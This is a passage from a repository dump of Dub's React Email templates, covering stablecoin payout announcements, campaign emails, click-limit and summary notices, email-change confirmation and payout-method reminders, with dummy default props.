crypto wallet of your choice and receive\n              payouts in USDC.\n            </Text>\n\n            <Section className=\"mb-4 text-center\">\n              <Link\n                href=\"https://ship.dub.co/stablecoins\"\n                style={{ textDecoration: \"none\" }}\n              >\n                <Img\n                  src=\"https://assets.dub.co/misc/stablecoin-payouts.gif\"\n                  width=\"200\"\n                  height=\"200\"\n                  alt=\"Stablecoin payouts\"\n                  style={{\n                    display: \"block\",\n                    maxWidth: \"100%\",\n                    height: \"auto\",\n                    margin: \"0 auto\",\n                  }}\n                />\n              </Link>\n            </Section>\n\n            <Heading className=\"mx-0 mb-3 mt-0 p-0 text-center text-lg font-semibold text-black\">\n              Get paid in USDC, in minutes\n            </Heading>\n\n            <Text className=\"mx-auto mb-8 mt-0 max-w-[420px] text-center text-sm leading-6 text-neutral-600\">\n              With stablecoin payouts, you can receive earnings in minutes –\n              instead of waiting up to 15 business days. You also avoid the 1%\n              FX fees with international bank payouts.\n            </Text>\n\n            <Section className=\"mb-8 text-center\">\n              <Link\n                href=\"https://ship.dub.co/stablecoins-connect\"\n                className=\"box-border inline-block rounded-lg bg-neutral-900 px-6 py-3 text-center text-sm font-medium text-white no-underline\"\n                style={{\n                  backgroundColor: \"#171717\",\n                  color: \"#ffffff\",\n                  borderRadius: \"8px\",\n                  padding: \"12px 24px\",\n                  textDecoration: \"none\",\n                  display: \"inline-block\",\n                  fontWeight: \"500\",\n                  fontSize: \"14px\",\n                }}\n              >\n                Connect your wallet\n              </Link>\n              <Text className=\"mt-3 text-center text-xs text-neutral-500\">\n                <Link\n                  href=\"https://ship.dub.co/stablecoins\"\n                  className=\"mt-3 text-center text-xs text-neutral-600 underline\"\n                  style={{\n                    color: \"#525252\",\n                    fontSize: \"12px\",\n                    textDecoration: \"underline\",\n                  }}\n                >\n                  Read the announcement\n                </Link>\n                <br />\n                <br />\n                Note: Stablecoin payouts are currently only available in 157\n                countries.\n                <br />\n                <Link\n                  href=\"https://ship.dub.co/payout-countries\"\n                  className=\"text-xs text-neutral-600 underline\"\n                >\n                  View the list of supported countries\n                </Link>\n              </Text>\n            </Section>\n\n            <Hr className=\"mx-0 my-6 w-full border border-neutral-200\" />\n\n            <Section className=\"mb-8 text-center\">\n              <Link\n                href=\"https://ship.dub.co/marketplace\"\n                style={{ textDecoration: \"none\" }}\n              >\n                <Img\n                  src=\"https://assets.dub.co/misc/program-marketplace-email-header.jpg\"\n                  width=\"500\"\n                  height=\"292\"\n                  alt=\"Dub Program Marketplace\"\n                  style={{\n                    display: \"block\",\n                    maxWidth: \"100%\",\n                    height: \"auto\",\n                    margin: \"0 auto\",\n                  }}\n                />\n              </Link>\n            </Section>\n\n            <Heading className=\"mx-0 mb-3 mt-0 p-0 text-center text-lg font-semibold text-black\">\n              Dub Program Marketplace is now generally available\n            </Heading>\n\n            <Text className=\"mx-auto mb-8 mt-0 max-w-[420px] text-center text-sm leading-6 text-neutral-600\">\n              Find programs that fit your audience, compare rewards, and submit\n              your application. It is the easiest way to expand your reach and\n              unlock new earning possibilities.\n            </Text>\n\n            <Section className=\"mb-8 text-center\">\n              <Link\n                href=\"https://ship.dub.co/marketplace\"\n                className=\"box-border inline-block rounded-lg bg-neutral-900 px-6 py-3 text-center text-sm font-medium text-white no-underline\"\n                style={{\n                  backgroundColor: \"#171717\",\n                  color: \"#ffffff\",\n                  borderRadius: \"8px\",\n                  padding: \"12px 24px\",\n                  textDecoration: \"none\",\n                  display: \"inline-block\",\n                  fontWeight: \"500\",\n                  fontSize: \"14px\",\n                }}\n              >\n                Explore the program marketplace\n              </Link>\n            </Section>\n\n            <Section className=\"mx-auto max-w-[400px] text-center\">\n              <Footer email={email} marketing unsubscribeUrl={unsubscribeUrl} />\n            </Section>\n          </Container>\n        </Body>\n      </Tailwind>\n    </Html>\n  );\n}\n"
  },
  {
    "path": "packages/email/src/templates/campaign-email.tsx",
    "content": "import {\n  Body,\n  Container,\n  Head,\n  Heading,\n  Hr,\n  Html,\n  Img,\n  Link,\n  Preview,\n  Section,\n  Tailwind,\n  Text,\n} from \"@react-email/components\";\n\nexport default function CampaignEmail({\n  program = {\n    name: \"Acme\",\n    slug: \"acme\",\n    logo: \"https://assets.dub.co/misc/acme-logo.png\",\n    messagingEnabledAt: new Date(),\n  },\n  campaign = {\n    type: \"marketing\",\n    preview: \"Test Preview\",\n    body: `<p xmlns=\"http://www.w3.org/1999/xhtml\">Hi <span class=\"px-1 py-0.5 bg-blue-100 text-blue-700 rounded font-semibold\" data-type=\"mention\" data-id=\"PartnerName\">{{PartnerName}}</span>,</p><p xmlns=\"http://www.w3.org/1999/xhtml\">Thrilled to have you officially join the Acme Ambassador Program!</p><p xmlns=\"http://www.w3.org/1999/xhtml\">As a Acme Ambassador, you're joining the front line of change. You're freeing people from broken healthcare and giving them back control of their health.</p><p xmlns=\"http://www.w3.org/1999/xhtml\">Your 3 quick steps to get started:</p><ol xmlns=\"http://www.w3.org/1999/xhtml\"><li><p>Activate your membership with your 50% off code: <strong>ACME50OFF</strong></p></li><li><p><a target=\"_blank\" rel=\"noopener noreferrer nofollow\" href=\"https://partners.dub.co/programs/acme\">Open your dashboard</a> and copy your referral link</p></li><li><p>Share Acme with your loved ones! Use our <a target=\"_blank\" rel=\"noopener noreferrer nofollow\" href=\"http://acme.dub.sh\">Ambassador Hub</a> for all the information you need like message templates, images, and information about Acme.</p></li></ol><p xmlns=\"http://www.w3.org/1999/xhtml\">And a bonus: make your first referral within 7 days and you'll also receive a limited-edition Acme hoodie.</p><img xmlns=\"http://www.w3.org/1999/xhtml\" src=\"https://dubassets.com/programs/prog_CYCu7IMAapjkRpTnr8F1azjN/lander/image_JjbkiaM\" style=\"max-width: 100%; height: auto; margin: 12px auto;\" /><p xmlns=\"http://www.w3.org/1999/xhtml\">We're here with you every step of the way.</p><p xmlns=\"http://www.w3.org/1999/xhtml\">To your health,</p><p xmlns=\"http://www.w3.org/1999/xhtml\">The Acme team</p>`,\n  },\n}: {\n  program?: {\n    name: string;\n    slug: string;\n    logo: string | null;\n    messagingEnabledAt?: Date | null | undefined;\n  };\n  campaign?: {\n    type: \"transactional\" | \"marketing\";\n    preview?: string | null;\n    body: string;\n  };\n}) {\n  const styledHtml = `\n    <div style=\"max-width: 100%; overflow: hidden;\">\n      ${campaign.body}\n    </div>\n  `;\n\n  return (\n    <Html>\n      <Head />\n      {campaign.preview && <Preview>{campaign.preview}</Preview>}\n      <Tailwind>\n        <Body className=\"mx-auto my-auto bg-white font-sans\">\n          <Container className=\"mx-auto my-10 max-w-[600px] px-10 py-5\">\n            <Section className=\"my-8\">\n              <div className=\"flex items-center\">\n                <Img\n                  src={program.logo || \"https://assets.dub.co/wordmark.png\"}\n                  width=\"32\"\n                  height=\"32\"\n                  alt={program.name}\n                  className=\"rounded-full\"\n                />\n                <Section className=\"ml-4\">\n                  <Heading className=\"my-0 text-lg font-semibold text-black\">\n                    {program.name}\n                  </Heading>\n                  <Link\n                    className=\"text-[13px] font-medium text-neutral-500 underline\"\n                    href={`https://partners.dub.co/programs/${program.slug}`}\n                  >\n                    View program in Dub\n                  </Link>\n                </Section>\n              </div>\n            </Section>\n\n            <Section>\n              <div\n                style={{ fontSize: \"14px\", lineHeight: 1.7142857 }}\n                dangerouslySetInnerHTML={{ __html: styledHtml }}\n              />\n            </Section>\n\n            {program?.messagingEnabledAt &&\n              campaign.type === \"transactional\" && (\n                <Section className=\"mt-3\">\n                  <Link\n                    className=\"block rounded-lg bg-neutral-900 px-6 py-3 text-center text-[13px] font-medium text-white no-underline\"\n                    href={`https://partners.dub.co/messages/${program.slug}`}\n                  >\n                    Reply in Dub\n                  </Link>\n                </Section>\n              )}\n\n            {campaign.type === \"marketing\" && (\n              <Section className=\"border-t border-neutral-200\">\n                <Hr className=\"mx-0 my-3 w-full border border-neutral-200\" />\n                <Text className=\"text-[12px] leading-6 text-neutral-500\">\n                  Don't want to receive marketing emails from any programs on\n                  Dub?{\" \"}\n                  <Link\n                    className=\"text-neutral-700 underline\"\n                    href=\"https://partners.dub.co/profile/notifications\"\n                  >\n                    Update your notification settings here.\n                  </Link>\n                </Text>\n              </Section>\n            )}\n          </Container>\n        </Body>\n      </Tailwind>\n    </Html>\n  );\n}\n"
  },
  {
    "path": "packages/email/src/templates/clicks-exceeded.tsx",
    "content": "import { APP_DOMAIN, DUB_WORDMARK, capitalize, nFormatter } from \"@dub/utils\";\nimport {\n  Body,\n  Container,\n  Head,\n  Heading,\n  Html,\n  Img,\n  Link,\n  Preview,\n  Section,\n  Tailwind,\n  Text,\n} from \"@react-email/components\";\nimport { Footer } from \"../components/footer\";\nimport { WorkspaceProps } from \"../types\";\n\nexport default function ClicksExceeded({\n  email = \"panic@thedis.co\",\n  workspace = {\n    id: \"ckqf1q3xw0000gk5u2q1q2q1q\",\n    name: \"Acme\",\n    slug: \"acme\",\n    usage: 2410,\n    usageLimit: 1000,\n    plan: \"business\",\n  },\n  type = \"firstUsageLimitEmail\",\n}: {\n  email: string;\n  workspace: Partial<WorkspaceProps>;\n  type: \"firstUsageLimitEmail\" | \"secondUsageLimitEmail\";\n}) {\n  const { slug, name, usage, usageLimit, plan } = workspace;\n\n  return (\n    <Html>\n      <Head />\n      <Preview>\n        Your Dub workspace, {name || \"\"} has exceeded the{\" \"}\n        {capitalize(plan) || \"\"} Plan limit of {nFormatter(usageLimit)} link\n        clicks/month.\n      </Preview>\n      <Tailwind>\n        <Body className=\"mx-auto my-auto bg-white font-sans\">\n          <Container className=\"mx-auto my-10 max-w-[600px] rounded border border-solid border-neutral-200 px-10 py-5\">\n            <Section className=\"mt-8\">\n              <Img src={DUB_WORDMARK} height=\"32\" alt=\"Dub\" />\n            </Section>\n            <Heading className=\"mx-0 my-7 p-0 text-lg font-medium text-black\">\n              Clicks Limit Exceeded\n            </Heading>\n            <Text className=\"text-sm leading-6 text-black\">\n              Your Dub workspace,{\" \"}\n              <Link\n                href={`https://app.dub.co/${slug}`}\n                className=\"text-black underline\"\n              >\n                <strong>{name}</strong>\n              </Link>{\" \"}\n              has exceeded the\n              <strong> {capitalize(plan)} Plan </strong>\n              limit of{\" \"}\n              <strong>{nFormatter(usageLimit)} link clicks/month</strong>. You\n              have used{\" \"}\n              <strong>{nFormatter(usage, { digits: 2 })} link clicks</strong>{\" \"}\n              across all your links in your current billing cycle.\n            </Text>\n            <Text className=\"text-sm leading-6 text-black\">\n              All your existing links will continue to work, and we are still\n              collecting data on them, but you'll need to{\" \"}\n              <Link\n                href={`${APP_DOMAIN}/${slug}/settings/billing`}\n                className=\"font-medium text-blue-600 no-underline\"\n              >\n                upgrade to a higher plan\n              </Link>{\" \"}\n              to view their stats.\n            </Text>\n            <Section className=\"my-8\">\n              <Link\n                className=\"rounded-lg bg-black px-6 py-3 text-center text-[12px] font-semibold text-white no-underline\"\n                href={`${APP_DOMAIN}/${slug}/settings/billing`}\n              >\n                Upgrade my plan\n              </Link>\n            </Section>\n            <Text className=\"text-sm leading-6 text-black\">\n              To respect your inbox,{\" \"}\n              {type === \"firstUsageLimitEmail\"\n                ? \"we will only send you one more email about this in 3 days\"\n                : \"this will be the last time we'll email you about this for the current billing cycle\"}\n              . Feel free to ignore this email if you don't plan on upgrading,\n              or reply to let us know if you have any questions!\n            </Text>\n            <Footer email={email} />\n          </Container>\n        </Body>\n      </Tailwind>\n    </Html>\n  );\n}\n"
  },
  {
    "path": "packages/email/src/templates/clicks-summary.tsx",
    "content": "import { DUB_WORDMARK, nFormatter, smartTruncate } from \"@dub/utils\";\nimport {\n  Body,\n  Column,\n  Container,\n  Head,\n  Heading,\n  Hr,\n  Html,\n  Img,\n  Link,\n  Preview,\n  Row,\n  Section,\n  Tailwind,\n  Text,\n} from \"@react-email/components\";\nimport { Link2, MousePointerClick } from \"lucide-react\";\nimport { Footer } from \"../components/footer\";\n\nexport default function ClicksSummary({\n  email = \"panic@thedis.co\",\n  workspaceName = \"Acme\",\n  workspaceSlug = \"acme\",\n  totalClicks = 63689,\n  createdLinks = 25,\n  topLinks = [\n    {\n      link: {\n        id: \"link_1\",\n        shortLink: \"acmesuperlongdomain.com/insta\",\n      },\n      clicks: 1820,\n    },\n    {\n      link: {\n        id: \"link_2\",\n        shortLink:\n          \"acmesuperlongdomain.com/super-long-path-that-is-way-too-long-and-should-be-truncated\",\n      },\n      clicks: 2187,\n    },\n    {\n      link: {\n        id: \"link_3\",\n        shortLink: \"acme.com\",\n      },\n      clicks: 1552,\n    },\n    {\n      link: {\n        id: \"link_4\",\n        shortLink: \"acme.com/twitter\",\n      },\n      clicks: 1229,\n    },\n    {\n      link: {\n        id: \"link_5\",\n        shortLink: \"acme.com/linkedin/more/path\",\n      },\n      clicks: 1055,\n    },\n  ],\n}: {\n  email: string;\n  workspaceName: string;\n  workspaceSlug: string;\n  totalClicks: number;\n  createdLinks: number;\n  topLinks: {\n    link: {\n      id: string;\n      shortLink: string;\n    };\n    clicks: number;\n  }[];\n}) {\n  return (\n    <Html>\n      <Head />\n      <Preview>Your 30-day Dub summary for {workspaceName}</Preview>\n      <Tailwind>\n        <Body className=\"mx-auto my-auto bg-white font-sans\">\n          <Container className=\"mx-auto my-10 max-w-[600px] rounded border border-solid border-neutral-200 px-10 py-5\">\n            <Section className=\"mt-8\">\n              <Img src={DUB_WORDMARK} height=\"32\" alt=\"Dub\" />\n            </Section>\n            <Heading className=\"mx-0 my-7 p-0 text-lg font-medium text-black\">\n              Your 30-day Dub summary for {workspaceName}\n            </Heading>\n            <Text className=\"text-sm leading-6 text-black\">\n              In the last 30 days, your Dub workspace,{\" \"}\n              <strong>{workspaceName}</strong> received{\" \"}\n              <strong>{nFormatter(totalClicks)} link clicks</strong>. You also\n              created <strong>{createdLinks} new links</strong> during that\n              time.\n            </Text>\n            <Section className=\"rounded-lg border border-solid border-neutral-200 pb-2 pt-6\">\n              <Row>\n                <Column align=\"center\">\n                  <div className=\"flex h-12 w-12 items-center justify-center rounded-full bg-blue-200\">\n                    <MousePointerClick className=\"h-5 w-5 text-blue-600\" />\n                  </div>\n                  <p className=\"text-sm font-semibold text-black\">\n                    {nFormatter(totalClicks)} clicks\n                  </p>\n                </Column>\n                <Column align=\"center\">\n                  <div className=\"flex h-12 w-12 items-center justify-center rounded-full bg-green-200\">\n                    <Link2 className=\"h-5 w-5 text-green-600\" />\n                  </div>\n                  <p className=\"text-sm font-semibold text-black\">\n                    {nFormatter(createdLinks)} new links\n                  </p>\n                </Column>\n              </Row>\n            </Section>\n            {topLinks.length > 0 && (\n              <>\n                <Text className=\"text-sm leading-6 text-black\">\n                  Here are your top {topLinks.length} best performing links:\n                </Text>\n                <Section>\n                  <Row className=\"pb-2\">\n                    <Column align=\"left\" className=\"text-sm text-neutral-500\">\n                      Link\n                    </Column>\n                    <Column align=\"right\" className=\"text-sm text-neutral-500\">\n                      Clicks\n                    </Column>\n                  </Row>\n                  {topLinks.map(\n                    ({ link: { id: linkId, shortLink }, clicks }, index) => {\n                      return (\n                        <div key={linkId}>\n                          <Row>\n                            <Column align=\"left\">\n                              <Link\n                                href={`https://app.dub.co/${workspaceSlug}/analytics?linkId=${linkId}`}\n                                className=\"text-sm font-medium text-black underline\"\n                              >\n                                {smartTruncate(shortLink, 33)}↗\n                              </Link>\n                            </Column>\n                            <Column\n                              align=\"right\"\n                              className=\"text-sm text-neutral-600\"\n                            >\n                              {nFormatter(clicks, { full: clicks < 99999 })}\n                            </Column>\n                          </Row>\n                          {index !== topLinks.length - 1 && (\n                            <Hr className=\"my-2 w-full border border-neutral-200\" />\n                          )}\n                        </div>\n                      );\n                    },\n                  )}\n                </Section>\n              </>\n            )}\n            {createdLinks === 0 ? (\n              <>\n                <Text className=\"text-sm leading-6 text-black\">\n                  It looks like you haven't created any links in the last 30\n                  days. If there's anything that we can do to help, please reply\n                  to this email to get in touch with us.\n                </Text>\n\n                <Section className=\"my-8 text-center\">\n                  <Link\n                    className=\"rounded-full bg-black px-6 py-3 text-center text-[12px] font-semibold text-white no-underline\"\n                    href={`https://app.dub.co/${workspaceSlug}`}\n                  >\n                    Start creating links\n                  </Link>\n                </Section>\n              </>\n            ) : (\n              <>\n                <Text className=\"mt-10 text-sm leading-6 text-black\">\n                  You can view your full stats by clicking the button below.\n                </Text>\n                <Section className=\"my-8\">\n                  <Link\n                    className=\"rounded-lg bg-black px-6 py-3 text-center text-[12px] font-semibold text-white no-underline\"\n                    href={`https://app.dub.co/${workspaceSlug}/analytics?interval=30d`}\n                  >\n                    View my stats\n                  </Link>\n                </Section>\n              </>\n            )}\n            <Footer\n              email={email}\n              notificationSettingsUrl={`https://app.dub.co/${workspaceSlug}/settings/notifications`}\n            />\n          </Container>\n        </Body>\n      </Tailwind>\n    </Html>\n  );\n}\n"
  },
  {
    "path": "packages/email/src/templates/confirm-email-change.tsx",
    "content": "import { DUB_WORDMARK } from \"@dub/utils\";\nimport {\n  Body,\n  Container,\n  Head,\n  Heading,\n  Html,\n  Img,\n  Link,\n  Preview,\n  Section,\n  Tailwind,\n  Text,\n} from \"@react-email/components\";\nimport { Footer } from \"../components/footer\";\n\nexport default function ConfirmEmailChange({\n  email = \"panic@thedis.co\",\n  newEmail = \"panic+1@thedis.co\",\n  confirmUrl = \"https://dub.co/auth/confirm-email-change/d03324452e1ac9352954315f3ffc\",\n}: {\n  email: string;\n  newEmail: string;\n  confirmUrl: string;\n}) {\n  return (\n    <Html>\n      <Head />\n      <Preview>Confirm your email address change</Preview>\n      <Tailwind>\n        <Body className=\"mx-auto my-auto bg-white font-sans\">\n          <Container className=\"mx-auto my-10 max-w-[600px] rounded border border-solid border-neutral-200 px-10 py-5\">\n            <Section className=\"mt-8\">\n              <Img src={DUB_WORDMARK} height=\"32\" alt=\"Dub\" />\n            </Section>\n            <Heading className=\"mx-0 my-7 p-0 text-lg font-medium text-black\">\n              Confirm your email address change\n            </Heading>\n            <Text className=\"mx-auto text-sm leading-6\">\n              Follow this link to confirm the update to your email from{\" \"}\n              <strong>{email}</strong> to <strong>{newEmail}</strong>.\n            </Text>\n            <Section className=\"my-8\">\n              <Link\n                href={confirmUrl}\n                className=\"rounded-lg bg-black px-6 py-3 text-center text-[12px] font-semibold text-white no-underline\"\n              >\n                <strong>Confirm email change</strong>\n              </Link>\n            </Section>\n            <Text className=\"text-sm leading-6 text-black\">\n              If you did not request this change, this email can be safely\n              ignored or{\" \"}\n              <Link href={`${confirmUrl}?cancel=true`}>\n                cancel this request\n              </Link>\n              .\n            </Text>\n            <Footer email={newEmail} />\n          </Container>\n        </Body>\n      </Tailwind>\n    </Html>\n  );\n}\n"
  },
  {
    "path": "packages/email/src/templates/connect-payout-reminder.tsx",
    "content": "import { currencyFormatter, DUB_WORDMARK, OG_AVATAR_URL } from \"@dub/utils\";\nimport {\n  Body,\n  Column,\n  Container,\n  Head,\n  Heading,\n  Html,\n  Img,\n  Link,\n  Preview,\n  Row,\n  Section,\n  Tailwind,\n  Text,\n} from \"@react-email/components\";\nimport { Footer } from \"../components/footer\";\n\nexport default function ConnectPayoutReminder({\n  email = \"panic@thedis.co\",\n  programs = [\n    {\n      id: \"1\",\n      name: \"Acme\",\n      logo: \"https://dubassets.com/programs/prog_CYCu7IMAapjkRpTnr8F1azjN/logo_HPEaC8P\",\n      amount: 120_00,\n    },\n    {\n      id: \"2\",\n      name: \"Dub\",\n      logo: \"https://dubassets.com/programs/prog_d8pl69xXCv4AoHNT281pHQdo/logo_TMLMTHs\",\n      amount: 40_24,\n    },\n  ],\n}: {\n  email: string;\n  programs: {\n    id: string;\n    name: string;\n    logo?: string | null;\n    amount: number;\n  }[];\n}) {\n  return (\n    <Html>\n      <Head />\n      <Preview>\n        You have rewards ready to be paid out, but you need to connect your\n        payout details to receive them.\n      </Preview>\n      <Tailwind>\n        <Body className=\"mx-auto my-auto bg-white font-sans\">\n          <Container className=\"mx-auto my-10 max-w-[600px] rounded border border-solid border-neutral-200 px-10 py-5\">\n            <Section className=\"mb-8 mt-6\">\n              <Img src={DUB_WORDMARK} width=\"65\" height=\"32\" alt=\"dub\" />\n            </Section>\n\n            <Heading className=\"mx-0 p-0 text-lg font-medium text-neutral-800\">\n              Don't forget to connect your payout details\n            </Heading>\n\n            <Text className=\"text-sm leading-6 text-neutral-600\">\n              You have pending rewards on Dub Partners, but you need to{\" \"}\n              <Link\n                href=\"https://dub.co/help/article/receiving-payouts\"\n                className=\"font-semibold text-black underline\"\n              >\n                connect your payout details (bank account)\n              </Link>{\" \"}\n              to receive them.\n            </Text>\n\n            <Section className=\"mt-6 text-base\">\n              <Row className=\"mb-1 text-sm text-neutral-600\">\n                <Column>Program</Column>\n                <Column className=\"text-right\">Pending payouts</Column>\n              </Row>\n              {programs.map((program) => (\n                <Row key={program.id} className=\"h-10\">\n                  <Column>\n                    <Row>\n                      <Column width=\"32\">\n                        <Img\n                          src={\n                            program.logo || `${OG_AVATAR_URL}${program.name}`\n                          }\n                          width=\"20\"\n                          height=\"20\"\n                          alt=\"Program logo\"\n                          className=\"rounded-full border border-neutral-200\"\n                        />\n                      </Column>\n                      <Column className=\"text-sm font-semibold text-neutral-800\">\n                        {program.name}\n                      </Column>\n                    </Row>\n                  </Column>\n                  <Column className=\"text-right text-sm\">\n                    {currencyFormatter(program.amount)}\n                  </Column>\n                </Row>\n              ))}\n            </Section>\n\n            <Text className=\"text-sm leading-6 text-neutral-600\">\n              If you haven't already, please create a partner account on Dub\n              with your <strong className=\"underline\">{email}</strong> email and\n              set up your payout details.\n            </Text>\n\n            <Section className=\"mt-8 text-center\">\n              <Link\n                href={`https://partners.dub.co/register?email=${email}&next=/payouts`}\n                className=\"box-border block w-full rounded-md bg-black px-0 py-4 text-center text-sm font-medium leading-none text-white no-underline\"\n              >\n                Connect payout details\n              </Link>\n            </Section>\n\n            <Footer\n              email={email}\n              notificationSettingsUrl=\"https://partners.dub.co/profile/notifications\"\n            />\n          </Container>\n        </Body>\n      </Tailwind>\n    </Html>\n  );\n}\n"
  },
  {
    "path": "packages/email/src/templates/connect-platforms-reminder.tsx",
    "content": "import { DUB_WORDMARK } from \"@dub/utils\";\nimport {\n  Body,\n  Container,\n  Head,\n  Heading,\n  Html,\n  Img,\n  Link,\n  Preview,\n  Section,\n  Tailwind,\n  Text,\n} from \"@react-email/components\";\nimport { Footer } from \"../components/footer\";\n\nexport default function ConnectPlatformsReminder({\n  email = \"panic@thedis.co\",\n  unsubscribeUrl = \"https://partners.dub.co/account/settings\",\n}) {\n  return (\n    <Html>\n      <Head>\n        <style>{`\n          @media only screen and (max-width: 600px) {\n            .email-container {\n              padding-left: 16px !important;\n              padding-right: 16px !important;\n            }\n          }\n        `}</style>\n      </Head>\n      <Preview>\n        Verify your social platforms and get noticed by more programs\n      </Preview>\n      <Tailwind>\n        <Body className=\"mx-auto my-auto bg-white font-sans\">\n          <Container className=\"email-container mx-auto my-10 max-w-[600px] px-10 py-5\">\n            <Section className=\"mt-2 text-center\">\n              <Img\n                src={DUB_WORDMARK}\n                width=\"65\"\n                height=\"32\"\n                alt=\"Dub\"\n                style={{\n                  display: \"block\",\n                  margin: \"0 auto\",\n                }}\n              />\n            </Section>\n\n            <Heading className=\"mx-auto mb-2 mt-8 max-w-[420px] text-center text-2xl font-semibold text-black\">\n              Verify your social platforms and get noticed by more programs\n            </Heading>\n\n            <Text className=\"mx-auto mb-8 mt-0 max-w-[420px] text-center text-base leading-6 text-neutral-600\">\n              Improve your reputation score in the Dub partner network by\n              verifying your social platforms.\n            </Text>\n\n            <Section className=\"mb-8 text-center\">\n              <Link\n                href=\"https://ship.dub.co/partner-profile\"\n                style={{ textDecoration: \"none\" }}\n              >\n                <Img\n                  src=\"https://assets.dub.co/email-assets/connect-social-platforms.jpg\"\n                  width=\"500\"\n                  height=\"292\"\n                  alt=\"Connect your social platforms\"\n                  style={{\n                    display: \"block\",\n                    maxWidth: \"100%\",\n                    height: \"auto\",\n                    margin: \"0 auto\",\n                  }}\n                />\n              </Link>\n            </Section>\n\n            <Heading className=\"mx-0 mb-3 mt-0 p-0 text-center text-lg font-semibold text-black\">\n              Improve approval rates by 47%\n            </Heading>\n\n            <Text className=\"mx-auto mb-8 mt-0 max-w-[420px] text-center text-sm leading-6 text-neutral-600\">\n              Verified partners are 47% more likely to be approved by programs.\n              You will also receive more invitations from some of our top\n              programs to join their program and start earning.\n            </Text>\n\n            <Section className=\"mb-8 text-center\">\n              <Link\n                href=\"https://ship.dub.co/partner-profile\"\n                className=\"box-border inline-block rounded-lg bg-neutral-900 px-6 py-3 text-center text-sm font-medium text-white no-underline\"\n                style={{\n                  backgroundColor: \"#171717\",\n                  color: \"#ffffff\",\n                  borderRadius: \"8px\",\n                  padding: \"12px 24px\",\n                  textDecoration: \"none\",\n                  display: \"inline-block\",\n                  fontWeight: \"500\",\n                  fontSize: \"14px\",\n                }}\n              >\n                Verify your social platforms now\n              </Link>\n            </Section>\n\n            <Section className=\"mx-auto max-w-[400px] text-center\">\n              <Footer email={email} marketing unsubscribeUrl={unsubscribeUrl} />\n            </Section>\n          </Container>\n        </Body>\n      </Tailwind>\n    </Html>\n  );\n}\n"
  },
  {
    "path": "packages/email/src/templates/connected-payout-method.tsx",
    "content": "import { DUB_WORDMARK } from \"@dub/utils\";\nimport {\n  Body,\n  Column,\n  Container,\n  Head,\n  Heading,\n  Html,\n  Img,\n  Link,\n  Preview,\n  Row,\n  Section,\n  Tailwind,\n  Text,\n} from \"@react-email/components\";\nimport { Footer } from \"../components/footer\";\n\nexport default function ConnectedPayoutMethod({\n  email = \"panic@thedis.co\",\n  payoutMethod = {\n    type: \"stablecoin\",\n    account_holder_name: \"Brendon Urie\",\n    bank_name: \"BANK OF AMERICA, N.A.\",\n    last4: \"1234\",\n    routing_number: \"1234567890\",\n    wallet_address: \"0x1234567890123456789012345678901234567890\",\n    wallet_network: \"Ethereum\",\n  },\n}: {\n  email: string;\n  payoutMethod: {\n    type?: \"connect\" | \"stablecoin\";\n    account_holder_name?: string | null;\n    bank_name?: string | null;\n    last4?: string | null;\n    routing_number?: string | null;\n    wallet_address?: string | null;\n    wallet_network?: string | null;\n  };\n}) {\n  const isStablecoin = payoutMethod.type === \"stablecoin\";\n\n  return (\n    <Html>\n      <Head />\n      <Preview>Your payout method has been successfully connected</Preview>\n      <Tailwind>\n        <Body className=\"mx-auto my-auto bg-white font-sans\">\n          <Container className=\"mx-auto my-10 max-w-[600px] rounded border border-solid border-neutral-200 px-10 py-5\">\n            <Section className=\"mb-8 mt-6\">\n              <Img src={DUB_WORDMARK} width=\"65\" height=\"32\" alt=\"dub\" />\n            </Section>\n\n            <Heading className=\"mx-0 p-0 text-lg font-medium text-neutral-800\">\n              Successfully connected payout method\n            </Heading>\n\n            <Text className=\"mb-6 text-sm leading-6 text-neutral-600\">\n              {isStablecoin\n                ? \"Great news! Your stablecoin wallet has been successfully connected to your Dub partner account. You're all set to receive USDC payouts.\"\n                : \"Great news! Your bank account has been successfully connected to your Dub partner account. You're all set to receive payouts.\"}\n            </Text>\n\n            {/* Payout Method Details Card */}\n            <Section className=\"mb-6 rounded-lg border border-solid border-neutral-200 bg-neutral-50 p-4 pt-0\">\n              <Text className=\"mb-3 text-sm font-semibold text-neutral-800\">\n                Connected payout method\n              </Text>\n\n              {isStablecoin ? (\n                <>\n                  {payoutMethod.wallet_network && (\n                    <Row className=\"mb-2\">\n                      <Column className=\"text-sm text-neutral-600\">\n                        Network\n                      </Column>\n                      <Column className=\"text-right text-sm font-medium text-neutral-800\">\n                        {payoutMethod.wallet_network}\n                      </Column>\n                    </Row>\n                  )}\n                  {payoutMethod.wallet_address && (\n                    <Row>\n                      <Column className=\"text-sm text-neutral-600\">\n                        Wallet Address\n                      </Column>\n                      <Column className=\"text-right text-sm font-medium text-neutral-800\">\n                        {payoutMethod.wallet_address}\n                      </Column>\n                    </Row>\n                  )}\n                </>\n              ) : (\n                <>\n                  {payoutMethod.account_holder_name && (\n                    <Row className=\"mb-2\">\n                      <Column className=\"text-sm text-neutral-600\">\n                        Account Holder\n                      </Column>\n                      <Column className=\"text-right text-sm font-medium text-neutral-800\">\n                        {payoutMethod.account_holder_name}\n                      </Column>\n                    </Row>\n                  )}\n\n                  {payoutMethod.bank_name && (\n                    <Row className=\"mb-2\">\n                      <Column className=\"text-sm text-neutral-600\">\n                        Bank Name\n                      </Column>\n                      <Column className=\"text-right text-sm font-medium text-neutral-800\">\n                        {payoutMethod.bank_name}\n                      </Column>\n                    </Row>\n                  )}\n\n                  {payoutMethod.last4 && (\n                    <Row className=\"mb-2\">\n                      <Column className=\"text-sm text-neutral-600\">\n                        Account Number\n                      </Column>\n                      <Column className=\"text-right text-sm font-medium text-neutral-800\">\n                        •••• {payoutMethod.last4}\n                      </Column>\n                    </Row>\n                  )}\n\n                  {payoutMethod.routing_number && (\n                    <Row>\n                      <Column className=\"text-sm text-neutral-600\">\n                        Routing Number\n                      </Column>\n                      <Column className=\"text-right text-sm font-medium text-neutral-800\">\n                        {payoutMethod.routing_number}\n                      </Column>\n                    </Row>\n                  )}\n                </>\n              )}\n            </Section>\n\n            {/* Action Buttons */}\n            <Section className=\"mb-6\">\n              <Link\n                href=\"https://partners.dub.co/payouts\"\n                className=\"box-border block w-full rounded-md bg-black px-0 py-3 text-center text-sm font-medium leading-none text-white no-underline\"\n              >\n                View payouts dashboard\n              </Link>\n            </Section>\n\n            {/* Next Steps */}\n            <Section>\n              <Text className=\"mb-3 text-base font-semibold text-neutral-800\">\n                What's next?\n              </Text>\n              <Text className=\"mb-4 text-sm leading-6 text-gray-600\">\n                <strong className=\"font-medium text-black\">\n                  1. Complete your partner profile\n                </strong>\n                : If you haven't already,{\" \"}\n                <Link\n                  href=\"https://ship.dub.co/partner-profile\"\n                  